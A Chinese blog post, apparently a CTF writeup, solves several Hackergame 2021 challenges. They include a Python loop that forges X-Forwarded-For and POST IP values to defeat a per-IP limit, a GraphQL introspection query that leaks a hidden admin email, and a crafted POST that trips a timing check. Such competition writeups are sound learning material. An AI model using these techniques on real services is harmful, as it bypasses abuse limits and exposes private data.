「Hackergame 2021」#2 Writup 开局上分篇 1

这里接上一篇,Writeup 的有:大砍刀、图之上、赛博厨房01、助记词1、p😭q
有些虽然偏后、分值高,但是总体并不难


FLAG 助力大红包

参与活动,助力抽奖!集满 1 个 flag,即可提取 1 个 flag。

恭喜你积攒到 0.5…… 个 flag,
剩余时间:10分00秒

已有 0 位好友为您助力。

将如下链接分享给好友,可以获得好友助力,获得更多 flag:……

老并夕夕了,经过一些测试和看规则可以知道,ip 在同一 /8 网段的用户被视为同一用户,即 ip 地址的第一个点前面的数字不一样才是不同用户
再用虚拟机和手机试一下,发现每个用户增加的 flag 数量很小
所以推测需要200+个 ip 地址,肯定不会要真的转发,而且也很难凑出很多不在同一 /8 网段的 ip

于是在 BurpSuite 里面抓包可以看到,每次点击“助力”都会发送一个到助力链接的 POST,内容为 ip 地址

然后将其发送到 Repeater 中,尝试更改 ip 地址,得到的 Response 中说 “失败!检测到前后端检测 IPv4 地址不匹配”

所以仅仅更改 POST 内容的 ip 是不够的,而提供给检测的内容也仅仅是一个 POST,所以可以更改 POST 头,添加 X-Forwarded-For
然后使用 python 就可以循环发送 POST 并伪造 ip 地址得到256个助力了,刚好达到1个flag:
(要注意 sleep 一段时间,不然会出现操作过快拒绝的情况;也不要 sleep 过长,否则超过10分钟 flag 就无效了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests 
import time
from tqdm import tqdm

url = "http://202.38.93.111:10888/invite/..."

with tqdm(total=256) as pbar:
for i in range(256):
res = requests.post(url, data={"ip": f"{i}.0.0.0"}, headers={"X-Forwarded-For": f"{i}.0.0.0"})
if "成功" not in res.text:
print("[x] 失败")
print(res.text)
time.sleep(1.5)
pbar.update(1)

图之上的信息

小 T 听说 GraphQL 是一种特别的 API 设计模式,也是 RESTful API 的有力竞争者,所以他写了个小网站来实验这项技术。

你能通过这个全新的接口,获取到没有公开出来的管理员的邮箱地址吗?

题目信息给的很充分,用的是 GraphQL,要用其得到 admin 的邮箱

没接触过 GraphQL,所以直接必应(逃
查到了很多有用的东西:

简而言之,GraphQL 就是一个可以通过一次 query 请求查询多个资源的 API 模式,只要 网址/graphql?query=... 就可以实现查询
有些使用 GraphQL 的网站可以直接通过访问 网址/graphiql 得到查询的 GUI
但是本题中禁止了,但可以使用 GraphiQL 软件来进行查询

在第三个链接中可以了解到,可以利用 GraphQL 的内省查询来泄露出内部的结构,把其中的查询语句丢到 GraphiQL 中可以得到结果

1
query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } directives { name description locations args { ...InputValue } } }}fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef }}fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue}fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } }}

然后把结果丢到 GraphQL Voyager 中就可以得到可视化的结构:

所以只需要根据 id query 一下 user 就可以了:

1
2
3
4
5
6
7
8
9
query { user(id: 1) { privateEmail, } }

>>> {
"data": {
"user": {
"privateEmail": "flag{...}"
}
}
}

赛博厨房

虽然这是你的餐厅,但只有机器人可以在厨房工作。机器人精确地按照程序工作,在厨房中移动,从物品源取出食材,按照菜谱的顺序把食材依次放入锅内。

机器人不需要休息,只需要一个晚上的时间来学习你教给它的程序,在此之后你就可以在任何时候让机器人执行这个程序,程序的每一步执行都会被记录下来,方便你检查机器人做菜的过程。

另外为了符合食品安全法的要求,赛博厨房中的机器人同一时间手里只能拿一种食物,每次做菜前都必须执行清理厨房的操作,把各处的食物残渣清理掉,然后回到厨房角落待命。

每天的菜谱可能不同,但也许也存在一些规律。

对机器人编程可以使用的指令有(n, m 为整数参数,程序的行号从 0 开始,注意指令中需要正确使用空格):

向上 n 步
向下 n 步
向左 n 步
向右 n 步
放下 n 个物品
拿起 n 个物品
放下盘子
拿起盘子
如果手上的物品大于等于 n 向上跳转 m 行
如果手上的物品大于等于 n 向下跳转 m 行

赶紧进入赛博厨房开始做菜吧!

刚看题还是挺懵的,想了好半天才明白
简单说来就是,每天可以编写新的程序,但是只能运行一个之前编写过的程序
每个程序只有几种指令可以使用,需要在其中满足菜谱的顺序要求

而问题在于,编写程序后的第二天的菜谱可能会不同,导致前面编写的程序无法使用
所以就需要预测第二天的菜谱

Level 0

可以看到第 0 天的菜谱是 1, 0,也就是要在同一个程序中依次向锅(1,0)中放入 1 号食物(0,2)和 0 号食物(0,1)
随便编写程序保存,直接到下一天,可以发现菜谱发生了变化
多次尝试之后发现菜谱只有 0,0 / 0,1 / 1,0 / 1,1 四种

所以在第 0 天编写学习四个程序,到下一天就可以根据菜谱来执行了
例如程序 1,0 就可以编写为:

1
2
3
4
5
6
7
8
9
10
11
12
向右 2 步
拿起 1 个物品
向左 2 步
向下 1 步
放下 1 个物品
向上 1 步
向右 1 步
拿起 1 个物品
向左 1 步
向下 1 步
放下 1 个物品
向上 1 步

只要正确了一天,就可以拿到 flag 了

Level 1

只有 1 个食物,菜谱是好多 0
同样随便编写程序保存进入下一天,发现菜谱没有变化,还是 73 个 0
所以这一关可能只是循环的教程
可用的指令中有一条 “如果手上的物品大于等于 n 向上跳转 m 行”
可以用它来达到循环的效果

只需要拿 73 个物品,然后循环放下直到手中没有了即可

1
2
3
4
5
6
向右 1 步
拿起 73 个物品
向左 1 步
向下 1 步
放下 1 个物品
如果手上的物品大于等于 1 向上跳转 1 行

同样保存下一天执行就可以拿到 flag 了

剩下的两个看起来大概是通过源码来推测出菜谱的生成方法,然后编写相应的指令,太难了,不会qwq


助记词

题目有效内容:

你的室友终于连夜赶完了他的 Java 语言程序设计的课程大作业。看起来他使用 Java 17 写了一个保存助记词的后端,当然还有配套的前端。助记词由四个英文单词组成,每个用户最多保存 32 条。

你从他充满激情却又夹杂不清的表述中得知,他似乎还为此专门在大作业里藏了两个 flag:当访问延迟达到两个特殊的阈值时,flag 便会打印出来,届时你便可以拿着 flag 让你的室友请你吃一顿大餐。

下载到源码后翻一翻,有用的就只有 Phrase.java 和 Instance.java
其中 Phrase.java 定义了 Phrase,其中重载了 equals 方法,其中有:

1
2
3
4
5
6
try {
TimeUnit.MILLISECONDS.sleep(EQUALS_DURATION_MILLIS); // 20ms
// TODO: remove it since it is for debugging
} catch (InterruptedException e) {
throw new RuntimeException(e);
}

所以在每次比较相等的时候就会 sleep 20ms

而 Instance.java 的 post 方法中对于每次的输入,遍历输入的列表,然后逐个加进 HashMap 中
在加入 HashMap 的时候就涉及到判断是否相等
而最终会判断在完成前后的总的时间间隔是多少,如果大于 600ms 就提取出第一个 flag:

1
2
3
4
5
6
7
8
9
10
11
12
var modified = 0;
var before = System.nanoTime();
for (var i = 0; i < input.length() && i < MAX_PHRASES && phrases.size() < MAX_PHRASES; ++i) {
var text = input.optString(i, "").toLowerCase(Locale.ENGLISH);
modified += phrases.add(Phrase.create(this.mnemonics, text, token)) ? 1 : 0;
// 这里会 sleep
}
var after = System.nanoTime();
var duration = TimeUnit.MILLISECONDS.convert(after - before, TimeUnit.NANOSECONDS);
if (duration > FLAG1_DURATION_MILLIS) { // 600ms
token.addFlag(1, flag -> output.put("flag1", flag));
}

而在网页中添加条目的时候,一次只能添加一条,也就是一个 POST 里面只有一个 Phrase
但是源码中有一个循环,遍历整个 input,所以一个 POST 里的内容其实是一个列表
所以可以用 BurpSuite 获取 POST 然后更改一下内容再发送出去(先 random 一个,然后 add)

根据 flag 里的提示,正解(第二顿大餐)应该是使用哈希碰撞,但是不会


p😭q

学会傅里叶的一瞬间,悔恨的泪水流了下来。

当我看到音频播放器中跳动的频谱动画,月明星稀的夜晚,深邃的银河,只有天使在浅吟低唱,复杂的情感于我眼中溢出,像是沉入了雾里朦胧的海一样的温柔。

这一刻我才知道,耳机音响也就图一乐,真听音乐还得靠眼睛。

(注意:flag 花括号内是一个 12 位整数,由 0-9 数位组成,没有其它字符。)

虽然这题是在倒数第三题,还值 400pt,但你一说傅里叶我可就不困了嗷

下载题目包,有一个生成 gif 的 py 代码和那个 gif 文件
正好前面的电波也有一段音频,可以用那个带入到 generate_sound_visualization.py 中生成一个 gif,然后用这个来测试

再仔细看一看 generate_sound_visualization.py 这个文件
主要使用了 librosa,于是就可以翻文档来看懂这个程序:

1
2
3
4
5
6
7
8
9
10
11
12
y, sample_rate = librosa.load("flag.mp3") # 从mp3中读取数据和采样率

spectrogram = numpy.around( # 四舍五入,但会造成逆向的时候有少许误差导致杂音
librosa.power_to_db( # 把以功率为单位的频谱图转换为以分贝为单位
librosa.feature.melspectrogram( # 通过音频数据和采样率计算梅尔频谱
y, sample_rate, n_mels=num_freqs,
n_fft=fft_window_size,
hop_length=frame_step_size,
window=window_function_type
)
) / quantize # 除以2
) * quantize # 乘以2

然后又通过一些 numpy 的骚操作来生成每一帧的数据,然后通过 array2gif 包的 write_gif 函数来生成 gif

所以主要思路就是把整个程序完整地逆过来

由于必应没有查到 gif2array 的包,所以读取 gif 就用了经典 PIL.Image

1
2
3
4
5
6
7
8
9
from PIL import Image
file = Image.open("flag.gif")

try:
while True:
gif_data.append(np.array(file))
file.seek(file.tell() + 1)
except:
print("[+] Read gif file")

然后是解决那一大段 numpy 骚操作的逆骚操作(
但是数理基础这么差的我当然是不想仔细研究了,所以直接用电波那题的 radio.mp3 带入,看一看要得到的 spectrogram 是什么样子
输出得到的 spectrogram 是:

1
2
3
4
5
6
7
[[-58. -48. -30. ... -58. -58. -58.]
[-58. -44. -26. ... -58. -58. -58.]
[-58. -40. -16. ... -58. -58. -58.]
...
[-58. -42. -30. ... -58. -58. -58.]
[-58. -44. -32. ... -58. -58. -58.]
[-58. -46. -34. ... -58. -58. -58.]]

而转置过来是:

1
2
3
4
5
6
7
[[-58. -58. -58. ... -58. -58. -58.]
[-48. -44. -40. ... -42. -44. -46.]
[-30. -26. -16. ... -30. -32. -34.]
...
[-58. -58. -58. ... -58. -58. -58.]
[-58. -58. -58. ... -58. -58. -58.]
[-58. -58. -58. ... -58. -58. -58.]]

减去 min_db=-60 第一行正好是 2,第二行是 [12. 16. 20. … 18. 16. 14.]
再对应到生成的 gif 文件中,可以看出 gif 的第一帧每个矩形的高度都是 2
而第二帧每个矩形的高度也恰好是刚得出的那组数
所以要得到的 spectrogram 就是 gif 每一帧所有矩形的高度构成的矩阵的转置

再结合源码:

1
2
3
4
5
6
7
numpy.array([
[
red_pixel if freq % 2 and round(frame[freq // 2]) > threshold else white_pixel
for threshold in list(range(min_db, max_db + 1, quantize))[::-1]
]
for freq in range(num_freqs * 2 + 1)
])

可以看出,每个矩形加上左边的空格正好是 4 个像素,所以每四列读取最后一列即可:

1
2
3
4
5
6
7
8
9
10
spectrogramT = []
for data in gif_data:
res = []
for ind, line in enumerate(data.transpose()): # 将每一帧转置,方便计算
num = sum(line) # 计算每个矩形的高度(转置后是宽度)
if ind % 4 == 3:
res.append(num + min_db) # 得到的数要加上-60才符合规矩
spectrogramT.append(res)

spectrogram = np.array(spectrogramT).transpose() # 得到的结果转置一下

这样就得到了梅尔频谱图的数据,可以对 librosa 的部分进行逆过程了
翻 librosa 的文档,有 power_to_db 当然也就有 db_to_power
而且类似于 melspectrogram 函数在 librosa.feature 中,可以专门看 feature 部分的文档
翻到了 inverse 部分,可以看到有一个函数 librosa.feature.inverse.mel_to_audio 可以直接把梅尔频谱图专为音频数据,所以就用它了:

1
2
3
4
5
6
7
y = librosa.feature.inverse.mel_to_audio(
librosa.db_to_power(spectrogram), # 乘二除二没什么大用,而且影响效果,就删了
sample_rate, n_iter=num_freqs, # 采样率题目提供了,是 22050Hz
n_fft=fft_window_size,
hop_length=frame_step_size,
window=window_function_type,
)

这样就完成了还原,最后是输出,但是并没在 librosa 中找到音频输出的函数,所以就用了经典 soundfile

1
2
import soundfile as sf
sf.write("flag.wav", y, sample_rate)

然后打开听就行了,题目说了是个 12 位数,所以剩下的就是英语听力了,翻译过来的数字就是 flag 了


基本上我觉得比较简单的也就这些了,剩下的令我破防的放下一篇_(:з」∠)_

Reference

「Hackergame 2021」#2 Writup 开局上分篇 1

https://blog.tonycrane.cc/p/f54b44c.html

作者

TonyCrane

发布于

2021-10-29

更新于

2021-10-29

许可协议